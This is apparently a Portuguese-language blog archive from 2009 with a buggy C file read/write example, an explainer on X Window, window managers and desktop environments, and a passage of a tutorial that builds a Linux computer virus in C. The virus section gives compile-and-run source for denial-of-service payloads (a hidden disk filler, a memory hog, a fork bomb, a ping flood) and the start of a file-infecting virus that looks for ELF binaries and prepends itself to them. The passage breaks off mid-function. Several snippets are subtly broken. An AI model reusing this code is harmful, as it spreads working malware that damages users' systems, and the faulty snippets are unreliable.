segunda-feira, 30 de março de 2009

leitura/escrita de dados/estruturas em arquivo



Contador de acessoVisitas


O código a seguir é apenas um exemplo simples de gravação de dados em arquivo texto sob forma de estrutura.


#include <stdio.h>

typedef struct Taluno
{
   char nome[20];
   int idade;
} Taluno;

Taluno aluno, raluno;

int main(void)
{
    /* aqui pode usar o strcpy, mas preferir por caracter x caracter para melhor visualizacao do que esta ocorrendo */
    aluno.nome[0] = 'F';
    aluno.nome[1] = 'u';
    aluno.nome[2] = 'l';
    aluno.nome[3] = 'a';
    aluno.nome[4] = 'n';
    aluno.nome[5] = 'o';
    aluno.nome[6] = '\ 0';

    aluno.idade = 10;

    FILE *file;

    /* abrindo o arquivo para escrita */
    if (!(file=fopen("teste.txt","w+"))) return 0;

    /* gravando os dados */
    fwrite (&aluno, 1, sizeof (Taluno), file);

    close (file);

    /* apenas para separar a escrita da leitura em 2 tempos */
    /* vou usar variaveis diferentes apenas para realmente verem que realmente a leitura esta sendo feita totalmente independente da escrita, nao quero deixar duvida */
    printf ("precione qualquer para continuar ...\n");
    getchar();

    FILE *filer;

    /* abrindo o arquivo para leitura */
    if (!(filer=fopen("teste.bkp","r"))) return 0;

    long ret;

    /* lendo o arquivo */
    ret = fread (&raluno, 1,sizeof (Taluno), filer);

    if (ret > 0)
    {
       /* imprimindo o conteudo lido */
       printf ("Nome: %s\nidade: %d anos\n", raluno.nome, raluno.idade);
    }

    close (filer);
    return 1;
}

X Window, Controladores de Janelas e Ambientes Desktop



Contador de acessoVisitas


O que é o X ?

O X window é um conjunto de protocolos e funções de comunicação utilizados para construir as primitivas gráficas, em sistema de janelas; como pontos, linhas e retângulos, e interface com hardware gráfico e entrada de dados (mouse, teclado). Praticamente tudo que você vê em um ambiente gráfico do GNU/Linux, FreeBSD, OpenBSD, NetBSD, Solaris e outros - Irei generalizar tudo como Linux - partiu de uma solicitação de uma aplicação ou biblioteca para o X.

O X foi criado desde sua base para suportar gráficos em rede. Os programas ou aplicações são conhecidos como clientes. Os clientes não desenham ou manipulam os gráficos direto em seu exibidor, mas se comunicam com seu servidor X para que esses manipulem o seu exibidor.

A confusão se dá basicamente por dois motivos:

* Normalmente os usuários caseiros executam o servidor e o cliente X na mesma máquina, passando a falsa sensação de que o exibidor é controlado pela aplicação que está sendo executada. Porém é possível executar vários servidores X em um único computador e os clientes de computadores remotos. Isso significa que ele pode ser acessado por vários tipos de rede ou através de uma linha dial-up.
* Outro motivo é que a idéia de quem é o cliente e quem é o servidor aparenta estar invertida neste caso. Se interajo com uma aplicação rodando remotamente, vou supor que sou o cliente e a outra máquina o servidor. Mas no caso do X, minha máquina será o servidor para a aplicação remota, pois esta enviará os pedidos (desenhe uma janela, um ícone, etc) para o servidor X rodando na minha máquina, que por sua vez exibirá na minha tela as solicitações da aplicação cliente X, e enviará para mesma a movimentação do mouse e entradas do teclado relevantes.

Você não deve se referir ao X Window como X Windows, os termos apropriados são X, X11, X versão 11 ou sistema X Window versão 11.

O X Foi desenvolvido de início no Instituto de Tecnologia de Massachussets no início dos anos 80. O primeiro lançamento oficial foi o X 10 no meado da década de 80 com lançamento do X11R1 em 1987. Com o fim de sua associação criadora o X passou a ser de propriedade da organização não-comercial X.org, cujos membros executivos incluem a Compaq, HP, IBM, Sun, SGI etc - que mantiveram o modelo original inalterado.

A evolução do X

Um sistema X Window muito utilizado nas distribuições Linux é a coleção de programas do Projeto XFree86 que é baseado na X11R6.4 ou X11, revisão 6.4.

O XFree86 é resultado do trabalho de vários programadores do Open Source e desenvolvedores ao redor do mundo. Uma das vantagens do XFree86 é que a maioria, senão todo o código fonte para os servidores, clientes, módulos, bibliotecas está disponível. Todavia o XFree86 não é distribuído sob a licença GLP, ele é protegido por um tipo de licença BSD de direito autoral, nem todo o código fonte tem que ser fornecido e os vendedores podem fazer melhorias porém distribuir apenas versões em binário.

O XFree86 funciona em uma quantidade bastante vasta de chips de vídeo, placas gráficas e sistemas para notebook, incluindo hardware não Intel. Porém, se você tiver uma necessidade especial ou o XFree86 não funcionar adequadamente, você pode usar fontes alternativas.

Posteriormente, a versão XFree86 da X.Org, baseado no X11R6.4 incluíram algumas melhorias como exibidores multi-head (XINERMA), recursos de configuração mais simples, Display Power Management Signal (DPMS) para economizar energia dos monitores, exigência de memória reduzida, APIs, novas placas gráficas suporte DRI para gráficos 3D etc.

As novas distribuições vem disponibilizando como X Window o XOrg e não mais o XFree86. O XOrg é um fork no projeto Xfree a partir da versão 4.4 Rc2. Essa mudança originou-se por causa da licença do Xfree4.4 final que impunha cláusulas de propaganda.

Basicamente, como o xfree é open source, ex-programadores do xfree, insatisfeitos com o desenvolvimento do mesmo, resolveram fazer um novo projeto baseado no xfree. Como o xfree mudou a sua licença, onde cada distro que a utilizasse ficaria obrigada a mencionar o uso do xfree em sua licença principal, algumas distros resolveram mudar para a XOrg, que utiliza a licença GNU/GPL tradicional.


Entendendo o X

Antes de continuarmos vamos analisar a estrutura típica do Linux.



Cada camada recebe solicitações da camada superior e faz suas solicitações as camadas inferiores. Contudo as camadas não são obrigadas a fazer solicitações as camadas imediatamente inferiores, as solicitações podem pular camadas e fazer solicitações a camadas ainda mais abaixas. As camadas inferiores, assim, não tem consciência de quem está acima. Acima de tudo está o usuário que ao interagir com as aplicações não precisam saber se estão manipulando o Kernel, ferramentas, ambiente gráfico ou seja lá o que venham a inventar.

Esse tipo de estrutura é bem flexível, pois, podemos trocar qualquer componente de uma camada por outro compatível que continua tudo a funcionar normalmente. Lembrando que o padrão seguido pelos Linux POSIX, que estabelece compatibilidade em nível de código fonte, e recompilações seriam necessárias, possivelmente em outras camadas além da que estivesse sendo substituída. Isso é exatamente o que chamamos de arquitetura modular.

A vantagem desse tipo de arquitetura é exemplificado com o caso do servidor XFree86, que devido à uma mudança no licenciamento e outros problemas, já citados, fizeram com que a maioria dos desenvolvedores saíssem do projeto com o código anterior a mudança da licença e criassem o X.Org, gerido pela X.Org. Hoje em dia X.Org avança muito mais rápido que o XFree86 e é o padrão da maioria das distribuições, enquanto isso o XFree86 agoniza lentamente. A substituição não foi tecnicamente problemática pois os clientes continuavam fazendo suas solicitações via o protocolo X11.

O funcionamento do X
Como já mencionado, no X o servidor e cliente se comunicam via protocolo X11. O servidor desenha as informações no exibidor e repassam as informações recolhidas, como clique do mouse, ao cliente. Este por sua vez processa as informações recebidas e requisita ao servidor para que o resultado seja mostrado no exibidor. Veja a estrutura:



Com isso podemos:

Executar o X11 via SSH:

$ ssh login@servidor -X

Usando o parâmetro X no ssh habilitamos o modo X11 porém por uma solicitação criptografada.

Multihead:

O Incrível Computador de Duas Cabeças.

Com dois ou mais monitores e placas de vídeo, na quantidade certa, podemos ter o resultado de uma aplicação executada em um cliente X mostrada de forma "configurável" em todos os monitores. Esse recurso é conhecido como Xinerama.

Múltiplos Servidores X:

Podemos rodar mais de um servidor X na mesma máquina. Essa forma é facilmente observada nas distribuições mais novas quando fazemos uso da opção "Logar como outro usuário". Neste caso, um novo servidor X é executado e sem deslogar o anterior ficando possível alternar entre os servidores.

Podemos ainda ter servidores X dentro de outro servidor X, é o que se chama servidor aninhado.

Controladores de janelas x Ambiente desktop

Até o momento, estivemos tratando o ambiente gráfico do Linux como se fosse apenas o servidor X, mas na realidade o ambiente gráfico como conhecemos se divide em mais duas camadas, o Controlador de Janelas e o Ambiente Desktop.

Atualmente, estamos acostumados com um padrão gráfico, ou melhor, um paradigma gráfico, que foi desenvolvido pela Xerox e que obteve muito sucesso, sendo copiado pela maioria, senão por todos os ambientes Desktops encontrados, o WIMP - Window, Icon, Menu, Pointing device (Janela, Ícone, Menu, Dispositivo de apontador).

No Linux:

* o Servidor X cuida apenas do Dispositivo de apontador, do WIMP ( além do vídeo, teclado e mouse).
* o Gerenciador de Janelas cuida de toda a lógica referente a janela, como: arrastar, redimensionar, minimizar, não deixar redimensionar bordas fixas etc.
* o Ambiente Desktop, por sua vez abstrai, através de ícones e Menus.

Para ilustrarmos o funcionamento das três camadas, vamos imaginar a execução de um programa através de dois cliques dado no ícone.

O Servidor X captura os cliques e passa adiante, para quem for responsável, isso não o importa para ele. Neste caso o responsável foi o Ambiente Desktop que abstraiu a execução da aplicação em um ícone, ele então, entende o clique realiza a execução da aplicação, porém a solicitação de execução da aplicação poderia ser feita por uma linha de comando no shell. Ao criar a janela, o gerenciador de janelas passa a gerenciá-la. Nem a aplicação, nem o Servidor X querem saber quem vai tratar o gerenciamento da janela, nem se alguém vai tratar. A aplicação estará preocupada com o que ela se destina a fazer, já o Servidor X está preocupado em desenhar na tela, onde pedirem.

Logo, quando a janela é arrastada, o Gerenciador de Janelas solicita ao Servidor X que redesenhe a janela em várias posições diferentes, apagando sempre o desenho anterior, dando a sensação de movimento. Porém, o Gerenciador de Janelas poderia pedir que ao X que desenhasse apenas quando chegasse ao destino, ou poderia não ter gerenciador de janela, fazendo com que a janela não pudesse ser movida.

Um gerenciador de janelas, normalmente, não oferece abstração para ícones e menus, eles esperam que o Ambiente Desktop faça esse trabalho, porém nada impede que sejam criados Gerenciadores de Janelas como o Fluxbox e Enlightenment, que foram feitos para não necessitarem de nenhum componente superior.

As imagens abaixo mostram a Ambiente Desktop GNOME, que veremos mais tarde, exibindo uma janela do Iceweasel.

Na primeira imagem o Gerenciador de Janelas metacity está em execução. Note que a janela apresenta a barra de título, os botões de controle, bordas etc. Todas estas funcionalidades existem pois o metacity está controlando-as.

Na segunda imagem temos o mesmo ambiente, porém o processo do metacity foi destruído, logo, não há mais um Gerenciador de Janelas sendo executado. Note que todas as funcionalidades referentes ao Gerenciador de Janelas deixou de existir.

Em ambos os casos, o Servidor X, neste caso o Xorg, e o ambiente Desktop, o GNOME, estão em execução.






Como foi mostrado, o Ambiente Desktop é algo bastante abstrato. Ele é formado por um conjunto de bibliotecas, serviços muito bem integrados e disponibilizado de forma agradável para utilização dos usuários. Porém, isso tem um custo. O desempenho da máquina é diminuindo de forma sensível. Isso faz com que usuários mais hardcore prefiram usar Gerenciadores de Janelas como, os já citados, Fluxbox e Enlightenment.

Os GNOME, KDE, XFCE, XPde, WindowMaker e IceWM são exemplos de Ambiente Desktop bastante usado no Linux. O XFCE, por exemplo, embora seja bem modesto, também é muito leve, contudo, traz muito mais funcionalidade que qualquer Gerenciador de Janelas, isso o torna uma opção bastante interessante para usuários de máquinas mais modestas.

Recentemente a Novell liberou o servidor XGL que usa a aceleração 3D da placa de vídeo para fazer efeitos maravilhosos. Graças a essa independência dos pacotes, esses efeitos podem ser vistos em qualquer Desktop (GNOME, KDE, XFCE, XPde, WindowMaker, IceWM etc) e qualquer Gerenciador de Janelas (metacity, fluxbox, enlightenment etc), pois o XGL é um Servidor X (que segue o padrão X11), logo ele é transparente as camadas superiores. Além do XGL, existe também o AIGLX da X.Org.

Percebam a modularização, essa independência das camadas do "Linux" (aqui entre aspas pois me refiro ao Linux de uma forma mais abrangente ainda do que vinha tratando) é um dos motivos que levam cada dia mais o "Linux" ganhar não usuários, mas amantes.

Brincado com as camadas

Veremos, praticando, o funcionamento das três camadas vistas neste artigo. Para isso, será usada a instalação Desktop básica de uma distribuição Debian, os testes poderão ser feitos usando o Ambiente Gráfico de qualquer distribuição, levando em consideração - é claro - suas diferenças.

De todas as três camadas; Servidor X, Gerenciador de Janelas e Ambiente Desktop; o único processo que não será parado é o Servidor X, pois se este for destruído, torna-se impossível utilizarmos a parte gráfica da distribuição.

Nestes exemplos usaremos o XOrg como Servidor X, o metacity como Gerenciador de Janelas e o GNOME como Ambiente Desktop.

Você poderá instalá-los usando (para usuários do Debian):

# apt-get install xorg metacity gnome

Na seção de login, use a seção Terminal de segurança, abrirá um terminal em um ambiente gráfico. Neste momento, apenas o XOrg (servidor X) estará rodando.

Digite no terminal:

$ ps -ax

Veja que não há ocorrência do Gerenciador de Janelas (metacity) e nem do Ambiente Desktop (gnome).

Apenas com o Servidor X ativo, digite:

$ xcalc &
$ gimp &

Você terá seguinte tela.



Tente mover ou redimensionar a janela, verá que não é possível.

Note que as janelas estão sem a barra de título, os botões de controle etc. Isso se deve pelo fato de que o Gerenciador de Janelas não está ativo. Também não há a barra de menu do gnome, controle de volume etc, afinal, o Ambiente Desktop também não está ativo.

Ativaremos então, o Gerenciador de Janelas. Digite no terminal:

$ metacity &

Obs.: Caso não consiga passar o foco para o terminal, feche o gimp (pois o gimp prende o foco em sua janela) execute o metacity e depois o gimp novamente.

Agora o seguinte ambiente será mostrado.



Note que agora, como o metacity, as janelas já apresentam sua funcionalidades, apesar do Ambiente Desktop ainda não estar ativo.

Então, ativaremos o Ambiente Desktop. Digite no terminal:

$ gnome &

Teremos agora o ambiente que estamos acostumados com o Servidor X, Gerenciador de Janelas e Ambiente Desktop.



Faltou vermos o Ambiente Desktop redando direto sobre o Servidor X, sem um Gerenciador de Janelas entre eles. Então, mate o processo metacity. Digite no terminal:

$ ps -ax | grep metacity

Anote o número do processo do metacity e:

$ kill -9

ou digite no terminal:

$ exit

Logue novamente na seção Terminal de segurança. No terminal digite:

$ gnome &
$ xcalc &
$ gimp &

Teremos então a seguinte tela:



Espero ter esclarecido algumas dúvidas com relação ao assunto proposto.

sexta-feira, 27 de março de 2009

Vírus de computador e criação de um vírus em C/C++ (parte 1 - básico)



Contador de acessoVisitas


Revirando meus materiais antigos encontrei um disquete, ainda funcionando, que continha um vírus criado no início de minha vida na informática. O código original estava em Pascal e foi criado para funcionar em DOS/Windows. Fiz algumas modificações, reescrevendo o código em C e adaptando seu funcionamento

Motivação

Antes de tudo, queria deixar claro que o intuito não é fazer com que as pessoas passem a prejudicar outras. A idéia é didática, apresentar teorias e códigos bastante interessantes que possam ser utilizados por programadores em suas criações.

O código foi encontrado em um de meus disquetes antigos, que ainda encontrava-se guardado e estava prestes a ser descartado, porém ao ver seu conteúdo, lembrei do quanto me foi edificador criá-lo.

O vírus é um resquício do início da minha vida na informática e achei que seria interessante divulgá-lo. Como se trata de um código escrito quando eu era iniciante nesta área, provavelmente não apresentará nada de novo a programadores mais experientes, sendo destinado a iniciantes.

O original foi escrito em Pascal para funcionar em DOS/Windows. Para apresentá-lo a uma comunidade voltada para Linux, resolvi fazer algumas alterações, rescrevendo o código em C e fazendo adaptações para que funcione em Linux.

Essas alterações trazem algumas conseqüências, como perda de funcionalidade. O vírus funcionava muito bem em DOS/Windows, porém em Linux, com sua proteção multi-usuário e com um kernel bastante robusto, fica muito difícil manter a eficiência do original, sendo assim, não causará maiores transtornos a usuários mais experientes.

Por exemplo, a infecção em um sistema DOS/Windows é teoricamente fácil, basta infectar um arquivo .exe ou .com e pronto. Porém no Linux, é diferente. Primeiro, o que define se um arquivo é executável ou não, não é a extensão e sim o atributo do arquivo, e mesmo que um arquivo esteja com o atributo de executável ele não poderá ser um script, tem que ser binário.

E mesmo um arquivo executável e binário tem que dar permissão de escrita ao vírus. Sendo assim, só a parte de infecção faz com que o vírus cresça em muito de tamanho, pois é muito mais complexo encontrar quem poderá ser infectado, sendo possível não encontrar ninguém.

O exemplo citado já diminui em muito a eficiência de um vírus, pois um dos princípios básicos de um vírus é que ele tem que ser pequeno. Por motivo de tamanho é que os vírus são escritos em Assembly - de preferência, em C/C++ ou no máximo em Pascal. Pelo menos era assim quando eu comecei a estudá-los.

Além da dificuldade imposta pela plataforma, o código também, encontra-se "há anos luz" de vírus mais sofisticados e modernos que contam até com AI (Inteligência Artificial).

Mas isso não incomoda, já que, como mencionei, a proposta não é ensinar a criar um código destrutor e sim apresentar conceitos e códigos de algo tão fascinante que é um vírus, além de estar gostando, apesar de nostálgico, recordar o início de tudo...

Introdução

Normalmente, qualquer problema que aconteça com o computador durante sua operação é atribuído ao vírus (referência quase que exclusiva dos usuários Windows), mesmo que o problema se de por inexperiência do usuário ou mal funcionamento do sistema.

Todos sabemos da dificuldade dos usuários de se adaptarem a novos sistemas ou atualizações - novos paradigmas, novos botões, novas funcionalidades. Também é sabido da existência de defeitos nos softwares, principalmente no caso de versões recém lançadas, normalmente as versões X.0.

Qualquer um que atualize ou instale programas recém lançados se arriscam a ter problemas, normalmente as versões X.01 são correções de defeitos encontrados nas versões X.0. De acordo com pesquisa feita pela PC Magazine, 50% dos prejuízos em softwares são causados pelos motivos citados e não por ação de um vírus de computador.

Um vírus de computador é um programa capaz de infectar outro programa, através de uma modificação deste incluindo uma cópia de si mesmo no código original. Por isso o nome de vírus, uma analogia ao vírus biológico que transforma as células em fábricas de cópias do vírus original.

Para o usuário em geral, qualquer programa que apague dados ou atrapalhe o funcionamento de sua máquina é chamado de vírus. Para um programador, um vírus é algo bastante interessante, pois, se trata de um programa altamente sofisticado, capaz de tomar decisões, funcionar em diversos tipos de máquinas além de apresentar índices mínimos de problemas ou mal funcionamento.

Stephen Hawking se referiu ao vírus de computador como a primeira forma de vida criada pelo homem, pois podem se reproduzir e garantir sua sobrevivência sem a interferência do homem. Fato que faz com que muitos vírus existam até hoje, vários anos após sua criação.

Para muitos cientistas, a reprodução e a manutenção da sobrevivência são princípios básicos para que um organismo seja descrito como vivo.

Modus Operandi
Basicamente, o vírus pode infectar um computador de três formas:

1) vírus de disco - infectam o setor de boot do disco, parte responsável pela manutenção dos arquivos no HD. Funcionam como uma tabela de índice contendo a posição de cada arquivo gravado em disco; neste caso, qualquer operação feita com o arquivo - gravar, carregar etc - pode ativar o vírus que por sua vez fará uma copia de si mesmo para outra unidade e assim sucessivamente. Esse tipo de vírus atualmente não é muito comum, mas no passado era bastante criado pelos desenvolvedores.

2) vírus de arquivo - infectam arquivos executáveis. Eles se copiam para o início ou fim destes. Dessa forma, ao carregar um programa, código do vírus é executado, esse cumpre sua função e pula para o início do código do executável desejado, dando assim continuidade ao seu processo.

3) vírus mult-partite - bastante sofisticados, infectam tanto o setor de boot quanto arquivos executáveis.

Uma exceção é o DIR-II - Vírus deste tipo alteram a tabela de arquivos de forma a serem chamados antes dos programas a serem executados. Não são, nem propriamente dito, como "vírus de boot", "de arquivos" e muito menos "mult-partite".

Quanto a detecção
Um vírus, como todo o dado armazenado em disco ocupa espaço. No caso de vírus de arquivo, mesmo que seja criado em linguagem de montagem (Assembly), ocupando um espaço mínimo este "aumenta o tamanho do arquivo".

Ao copiar-se para dentro de um programa, duas coisas aconteciam: (I) o executável mudava de tamanho e (II) a data de gravação também era alterada.

Existiam vírus que infectavam arquivos já infectados, fazendo com que estes aumentassem de tamanho a cada execução, chegando a se auto infectar até tamanho absurdos.

Esse tipo de infecção era facilmente identificada por usuários mais atentos, pois um simples ls -l mostrava a alteração do tamanho e da data em arquivos infectados.

Passou-se então a fazer vírus que reconheciam suas cópias em executáveis, fazendo com que estes não infectassem arquivos já infectados. Neste caso, anti-vírus mais simples conseguia, identificá-los executando os programas e comparando a data de criação antes e pós execução.

Posteriormente, os vírus passaram a alterar a data de gravação dos hospedeiro (arquivo infectado) além de não se auto infectar. Com isso, tornou-se praticamente impossível a detecção pelo usuário sem a ajuda de um anti-vírus.

Para esses tipos de vírus, os mais comuns atualmente, o anti-vírus passou a manter uma base de dados com características dos vírus, então eles buscam essas características dentro dos arquivos, vasculhando todo seu conteúdo.

Como funciona um anti-vírus
Muita gente desconhece o funcionamento, mas um anti-vírus trabalha levando as considerações acima, basicamente de três formas:

1) vigiando a memória do micro e identificando a ação de qualquer novo programa.

2) mantendo um arquivo com as características dos arquivos antes da infecção, assim, qualquer alteração que o arquivo original sofra é identificado.

3) o mais comum: abrindo cada um dos arquivos possíveis de infecção e examinando o código do programa. Lembrando que eles mantém uma base de dados com o código ou parte do código dos vírus que eles conseguem identificar.

Porque os vírus são escritos
O vírus de computador sempre causa curiosidade. Quando fizeram esta pergunta em uma convenção de produtores de vírus e hackers, na Argentina, a resposta foi:

- Because it's fun!

Ação do vírus

A ação do vírus foi posta em um tópico separado, pois é muito vasta, depende da criatividade do programador, podendo ir de uma bolinha passeando pela tela a destruição total do HD.

Foram escolhidas quatro ações que não destruirão seu sistema, elas apenas travam o sistema e uma simples reinicialização bastará para que tudo volte a funcionar perfeitamente. Porém não esperaremos chegar a esse ponto.

As quatro ações travam o sistema pois: (I) a primeira enche o HD, (II) a segunda lota a memória, (III) terceira cria vários processos de si mesmo e o (IV) quarto faz muitos pedidos ao host.

Todos os quatro exemplos poderão funcionar como programas a serem testados, porém, ao ser incluído no código do vírus, apenas as funções acao serão utilizadas.

Exemplo 1
O primeiro exemplo lota o HD com bagaço: cria um arquivo, mantém aberto e apaga, porém continua enchendo-o de dados. Dessa forma ele fica invisível ao usuário; nem o ls, nem o find poderão encontrá-lo.

O fonte está publicado para download aqui.



/* progacao1.c */

#include <stdio.h>
#include <stdlib.h>


acao()
{
   int ifd;
   char *buf=("1","2","3","4","5","6","7","8","9","0");
   long c;
   int desc;
   close(1); /* fecha a saída padrão, o vídeo */

   pipe (desc); /* com a saída padrão fechado, fazemos com que a saída passe a ser o pipe. O descritor dessa nova saída será armazenados em desc */

   ifd=open("./lotaHD", "w+",0777); /* abre o arquivo para escrita */

   unlink("./lotaHD"); /* apaga o arquivo */

   while (1)
   {
      write(ifd, buf, sizeof(buf)); /* em um loop infinito grava os dados de buf no arquivo */
      printf ("oi\n"); /* precisamos de um tempo para a gravação, é o tempo que se escreve esta string na saída. Por isso usamos o pipe. Não queremos que o vírus fique escrevendo nada no vídeo */
   }
}

main()
{
   int i;

   i=fork(); /* precisaremos criar um outro processo, pois o vírus terá que continuar sua execução enquanto sua ação é realizada.
      Não poderia ser uma thread, pois mesmo que o programa hospedeiro se encerre, o processo tem que continuar.
      O processo filho que foi criado é quem deve se encarregar da execução da ação, o pai tem que continuar a executar as funcionalidades restantes do vírus */
   if (i==0)
      acao();
}


Para compilá-lo basta fazer:

$ gcc progacao1.c -o progacao1

Para executá-lo:

$ ./progacao1

Use o comando (várias vezes) df para ver o espaço em disco diminuindo. Use o comando ls ou find ./ -name lotaHD para ver se encontra o arquivo.

Mate o processo com ps -ax (busque o número do processo progacao1) e kill -9 [núm. processo]

Exemplo 2
O exemplo 2 trava o sistema lotando a memória do micro, alocando o máximo de memória permitido.

O fonte está publicado para download aqui.



/* progacao2.c */

#include <stdlib.h>
#include <stdio.h>
acao ()
{
   char *f;
   while (1)
   {
      f = malloc (10000); /* aloca uma memória de 10000 bytes a cada loop e deixa perdida, não irá se importar em recuperar o endereço alocado */
      usleep (10); /* espera um tempo de 10/1000.000.000 s para o sistema não ficar lento de forma que se perceba uma execução fora do normal */
   }

}

main () /* o main já foi explicado no exemplo 1 */
{
   int i;
   i=fork();
   if (i==0)
      acao();

}


Para compilar:

$ gcc progacao2.c -o progacao2

E para executar:

$ ./progacao2

Para ver o uso de memória aumentando use ps -axv.

Mate o processo com ps -ax (busque o número do processo progacao1) e kill -9 [núm. processo].

Exemplo 3

O exemplo 3 também enche a memória, porém desta vez com processos. Esse ataque é difícil de parar, pois não é possível matar os processos individualmente. Eles são criados mais rápidos do que o usuário é capaz de matar, ou seja o "ps + kill" não funcionaria.

Há uma opção, usar kill -TERM -1. Esse comando matará qualquer processo que não seja criado pelo root. Com isso, qualquer dado que não tenha sido gravado será perdido.

Versões mais recentes do Linux estão imunes a esse caso, pois agora os usuário podem ter apenas um determinado número de processos sendo executado, porém essa regra não serve para o root.

O fonte está publicado para download aqui.



/* progacao3.c */
acao ()
{
   while (1)
      fork();
}

main () /* o main já foi explicado no exemplo 1 */
{
   int i;
   i=fork();
   if (i==0)
      acao();

}


Para compilar:

$ gcc progacao3.c -o progacao3

Para executar:

$ ./progacao3

Use: ps -ax para ver a infinidade de processos criados. Mate o processo com: kill -TERM -1.

Porém, não se esqueça que apenas os processos executados como root permanecerão ativos.

Exemplo 4


No exemplo 4 o host irá responder a vários pacotes de ping que serão disparados contra eles, sem perceber que assim irá travar o sistema.

Será executado o ping do sistema, que já é um loop infinito, tendo que ser executado em uma thread para não deixar o nosso loop parado esperando seu término.

O ping do sistema também retorna uma saída, que não queremos que seja mostrada na tela, tendo assim que ser redirecionada para o pipe.

O fonte está publicado para download aqui.


/* progacao4.c */

#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>

void ping(char *host); /* para usar a função na thread o cabeçalho da função deve estar declarado */

acao()
{
   int return_thread;
   pthread_t thread;

   while (1)
   {
      return_thread=pthread_create (&thread, NULL, (void *)ping,"ping -s 400 127.0.0.1"); /* criando a thread */
      usleep (10); /* já explicado no exemplo 2 */
   }
}

main () /* o main já foi explicado no exemplo 1 */
{
   int i;
   i=fork();
   if (i==0)
      acao();

}

void ping (char *host)
{
   int desc;
   close(1);

   pipe (desc); /* o pipe já foi explicado no exemplo 1 */
   system (host); /* executa um comando do sistema (ping, ls, rm, mv etc.) */
}

Para compilar:

$ gcc -o progacao4.c -lpthread progacao4

Para executar:

$ ./progacao4

Para ver o andamento use: ps-ax

Para parar a thread, basta matar o processo pai. Faça-o com:

$ ps -ax | grep progacao4 (busque o número do processo progacao4)

E:

$ kill -9 [núm. processo]

Teorizando

Nesta primeira parte do artigo criaremos um vírus muito simples, mas que servirá para o entendimento do processo de funcionamento.

O vírus funcionará na seguinte ordem: ele se copia para um arquivo temporário, copia o arquivo hospedeiro para o final do temporário, apaga o arquivo hospedeiro original e renomeia o arquivo temporário.

Seria algo mais ou menos assim:

$ cat virus >> temp
$ cat hospedeiro >> temp
$ rm hospedeiro
$ mv temp hospedeiro

Porém, fazendo assim vários problemas iriam ocorrer:

1) não temos garantia de que o hospedeiro infectado tenha permissão de execução.

2) tendo permissão de execução, apenas o código do vírus seria executado.

O que nosso código terá que fazer:

1) guardar a linha de comando digitada para passar ao hospedeiro.

2) buscar por todo o disco arquivos executáveis binários que possam ser infectados.

3) quando encontrar arquivos possíveis de infecção, infectá-los.

4) executar a funcionalidade do vírus.

5) executar o código do hospedeiro com a linha de comando.

Alguns detalhes deverão ser tratados:

1) não é possível esperar a infecção dos arquivos e nem a execução da funcionalidade do vírus para que seja executado o hospedeiro.

2) será necessário saber de antemão o tamanho do vírus, para separá-lo exatamente do hospedeiro.

Requisitos necessários
1) compilador gcc:

# apt-get install gcc (para instalá-lo no Debian e distros based)

2) biblioteca ncurses:

# apt-get install libncurses

3) biblioteca libc:

# apt-get install libc6

4) bibliotecas essenciais:

# apt-get install build-essential

É aconselhável que teste o vírus em uma máquina virtual. Sugiro usar o qemu.

Mãos à obra

O fonte está publicado para download aqui.


/*
virus1.c

Obs.: os tipos de arquivos podem ser
10. link simbólico lxxx
8. arquivo -xxx
6. arquivo de bloco bxxx
4. diretório dxxx
2. arquivo de caracter cxxx
1. arquivo de paginação pxxx
*/

#include <dirent.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>

#define WA(m) m&0x02
#define WG(m) m&0x10
#define WO(m) m&0x80

#define tamVir 12239 /* Tamanho do Vírus
Após o vírus ser compilado, use o ls -l para descobrir o tamanho do executável e use o tamanho aqui */

char codvirus [tamVir]; /* conterá o código do vírus */

const int CABEC_EXEC[]={127, 69, 76, 70, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 3, 0, 1, 0, 0, 0}; /* Cabeçalho de um binário executável */

int _USER_;
int _GROUP_;
char *_PATH_;

void infecta (char *_arq, struct stat _attr)
{
/*Essa técnica de infecção foi uma tentativa que deu certo, foi feita gravando byte por byte, pois assim diminui em muito o tamanho do código, porém pode ser aperfeiçoado.

No Windows seria fácil, bastaria copiar o vírus para um arquivo temporário e depois copiar a arquivo a ser infectado no final do temporário, apagar o arquivo original e depois renomear o temp.

No Linux o buraco é "mais embaixo". Apesar de ter direito de escrita em um arquivo, o usuário pode não ter direito de escrita no diretório onde o arquivo se encontra. Logo não daria para criar o temporário.

Então, pode vir a pergunta. Por que não copia o arquivo para um temporário em um diretório qualquer, sobrescreve o vírus no futuro hospedeiro e inclui o temporário no final? O problema é que teria que varrer todo o disco procurando um diretório em que o usuário tivesse direito de escrita correndo o risco de não encontrar nenhum. Nem o próprio diretório do usuário home me dá garantia que posso escrever nele ou se o usuário que irá executar o vírus tem diretório home. Por que, então não guardar o executável na memória, sobrescrever o vírus no arquivo e incluir o conteúdo da memória no final?

Porque nada garante que dependendo do tamanho do executável e da memória disponível irá ter espaço suficiente, principalmente se estiverem sendo executados várias instâncias do vírus ao mesmo tempo. Como não temos problema de tempo, pois o vírus ficará na memória indefinidamente, essa solução me pareceu melhor.*/

   FILE *file_exec;
   FILE *file_tmp;

   char buf[1024];
   char *tmp;
   long i;

   if (!(file_exec=fopen(_arq, "rw+"))) return;

   tmp=(char *)malloc(strlen (_arq)+4);
   strcpy (tmp, _arq);
   strcat (tmp,".tmp");

   if (file_tmp=fopen(tmp, "w+"))
   {

      unlink(tmp);
      /* Copiando o hospedeiro para o temporário */
      while (i=fread(buf,1,1024,file_exec)) fwrite(buf,1,i,file_tmp);

      /* Voltando ao início dos arquivos */
      fseek(file_tmp,0 ,SEEK_SET);
      fseek(file_exec,0 ,SEEK_SET);

      /* copiando para dentro do arquivo original, poupamos tempo com permissões.
      Gravando o código do vírus no arquivo temporário*/
      fwrite(codvirus,1,tamVir,file_exec);

      /* voltando o original para depois do vírus */
      while (i=fread(buf,1,1024,file_tmp)) fwrite(buf,1,i,file_exec);
   }
   free(tmp);
   close (file_tmp);
   close (file_exec);
}

void tentaInfectar (char *arq)
{
   FILE *file_exec;
   long ret;
   char bout[25];
   int i;

   /* vamos pegar os atributos do arquivo */
   struct stat attrib;
   stat(arq, &attrib);

   /* verificando se o arquivo é binário
   Todo executável binário assim como no Windows tem um cabeçalho identificando.
   Não sei o significado mas abri vários binários e sem exceção eles têm os seguintes primeiros.
   24 byts = CABEC_EXEC */

   if (!(file_exec=fopen(arq,"r"))) return; /* se não temos direito de leitura, não serve */

   ret = fread (bout, 1, 24, file_exec);
